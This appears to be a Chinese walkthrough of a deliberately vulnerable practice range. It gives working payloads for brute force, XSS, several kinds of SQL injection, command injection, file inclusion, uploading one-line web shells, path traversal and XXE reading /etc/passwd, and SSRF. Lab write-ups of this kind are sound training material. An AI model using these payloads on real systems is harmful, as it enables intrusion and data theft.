0x00、写在前面
这个靶场总体很简单,以演示漏洞为主,没什么弯弯绕
0x01、暴力破解
1.1 基于表单的暴力破解
普通的登录框,简单的爆破出admin/123456
1.2 验证码绕过(on server)
输入验证码后再爆破,验证码没有强制刷新,可以用同一个验证码爆。admin/123456
1.3 验证码绕过(on client)
查看源码,这里是前端js验证。
输入正确的验证码开爆就行了。admin/123456
也可以把代码下载到本地,删了onsubmit的内容,这样就不用管验证码了。
1.4 token防爆破?
多了个每次都会变得token值,token值来自于上一次的网页中,每次都会变。
获取上次访问的网页中的token值,添加到本次的提交中,即可完成爆破。Admin/123456
0x02、XSS(跨站脚本)
2.1 反射性xss(get)
直接message后面加payload,<script>confirm(1)</script>
2.2 反射性xss(post)
只是传输方式变了,登录后输入框写payload,<script>confirm(1)</script>
2.3 存储型性xss(post)
变成存储型了,也没什么区别。输入框写payload,<script>confirm(1)</script>
0x03、CSRF
0x04、SQL注入
4.1 数字型注入(post)
推测sql语句是select name from mail where id=1
直接or 1=1出来了所有数据。
然后就手工测试的一些语句。
4.2 字符型注入(get)
推测sql语句是select name from users where usrname=’xx’
' or 1=1#出来了所有数据。
4.3 搜索型注入
推测sql语句是select name from users where usrname like '%a%';
%' or 1=1#出来了所有数据。
4.4 xx型注入
根据报错情况,推测sql语句是select name from users where usrname=(‘xx’)
') or 1=1#出来了所有数据。
4.5 "insert/update"注入
推测sql语句是INSERT into user(userName,realName,passWord) VALUES('asi','阿四','gggg')
Payload为' or updatexml(1,concat(1,database()),1) or '通过报错出结果
4.6 "delete"注入
推测sql语句是delete from user WHERE id=5
可以看到删除的时候是发一个get请求,参数是递增的id
payload为http://192.168.5.131:8000/vul/sqli/sqli_del.php?id=633 or updatexml(1,concat(1,database()),1),通过报错出结果
4.7 "http header"注入
先用爆破跑出密码admin/123456
登录进去后发现存储了http头中的信息
还是利用报错,Payload为' or updatexml(1,concat(1,database()),1) or '添加在user-agent后
4.8 盲注(base on boolean)
根据之前的信息可以做正常查询
无回显。利用boolean盲注,即可猜解出库名
payload为' and ascii(substr(database(),1,1))=112#
4.9 盲注(base on time)
输入什么都是这句话
时间盲注通过返回时间判断。判断正确返回较久
Payload为xx' and if ((substr(database(),1,1))='p',sleep(5),null)#
4.10 宽字节注入
Payload为1%df' or 1=1#
0x05、RCE(remote command/code execute)
5.1 exec "ping"
利用管道符拼接要执行的命令
payload为127.0.0.1 | id
5.2 exec "eval"
执行你想要的php代码
payload为phpinfo();
0x06、File Inclusion(文件包含漏洞)
6.1 File Inclusion(local)本地文件包含
需要结合之前的上传漏洞传进来的小马
之前传上来的.jpg格式的图马也能解析,当做php执行
payload为
http://192.168.5.131:8000/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/tuma.jpg&submit=%E6%8F%90%E4%BA%A4
6.2 File Inclusion(remote)远程文件包含
还需打开允许远程文件包含的配置
payload为http://127.0.0.1/vul/fileinclude/fi_remote.php?filename=http://192.168.5.131:8000/vul/unsafeupload/uploads/info.php&submit=%E6%8F%90%E4%BA%A4
0x07、不安全的文件下载概述
7.1 Unsafe Filedownload
修改filename后的值,可以下载服务器上任意文件
payload为http://192.168.5.131:8000/vul/unsafedownload/execdownload.php?filename=../down_nba.php
payload为
http://192.168.5.131:8000/vul/unsafedownload/execdownload.php?filename=../../../../../../etc/passwd
0x08、不安全的文件上传
8.1 客户端check
直接传php会拦截,传个图片直接返回路径
把马的后缀改成.php.jpg,上传后通过burp修改文件后缀,改回.php
可以看到传的phpinfo执行
再传个一句话马
8.2 MIME type(服务端check)
看题目是限制MIME的头,直接传php文件改Content-Type: image/jpeg。或者制作一个图马上传,抓包后改后缀为php
8.3 getimagesize()
上传后的图片会被改名。且上传的文件必须为图片。为服务端验证,这里上传本身不存在什么漏洞,上传个图马后利用其他漏洞来进行解析。
0x09、越权
9.1 水平越权
参数username=用户名,修改用户名即可查看其他用户信息
9.2 垂直越权
该系统分为普通用户和管理员
以普通用户登录,发送创建用户请求,可以看到用户创建成功
0x0a、目录遍历漏洞
10.1 目录遍历
通过访问目录可以遍历所有目录
改为http://192.168.5.131:8000/vul/dir/dir_list.php?title=../dir.php即可浏览上层文件,修改参数值可访问任意文件
0x0b、敏感信息泄露
11.1 敏感信息泄露
前端源码中有测试账号
0x0c、php反序列化
12.1 php反序列化漏洞
把输入反序列化后当做代码执行
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
0x0d、XXE
13.1 xxe漏洞
通过构造xml,直接读取服务器文件
Payload:
<?xml version = "1.0"?><!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]><x>&f;</x>
0x0e、URL重定向
13.1 不安全的URL跳转
直接修改参数url的值,即可任意跳转
http://192.168.5.131:8000/vul/urlredirect/urlredirect.php?url=http://www.baidu.com
0x0f、SSRF
14.1 SSRF(curl)
可以获取服务器内信息
测试端口http://192.168.5.131:8000/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1:3306
读取文件http://192.168.5.131:8000/vul/ssrf/ssrf_curl.php?url=file:///etc/passwd
获取信息http://192.168.5.131:8000/vul/ssrf/ssrf_curl.php?url=dict://127.0.0.1:3306/info
14.2 SSRF(file_get_content)
可以读取任意文件,也可以读取内网中其他服务器的文件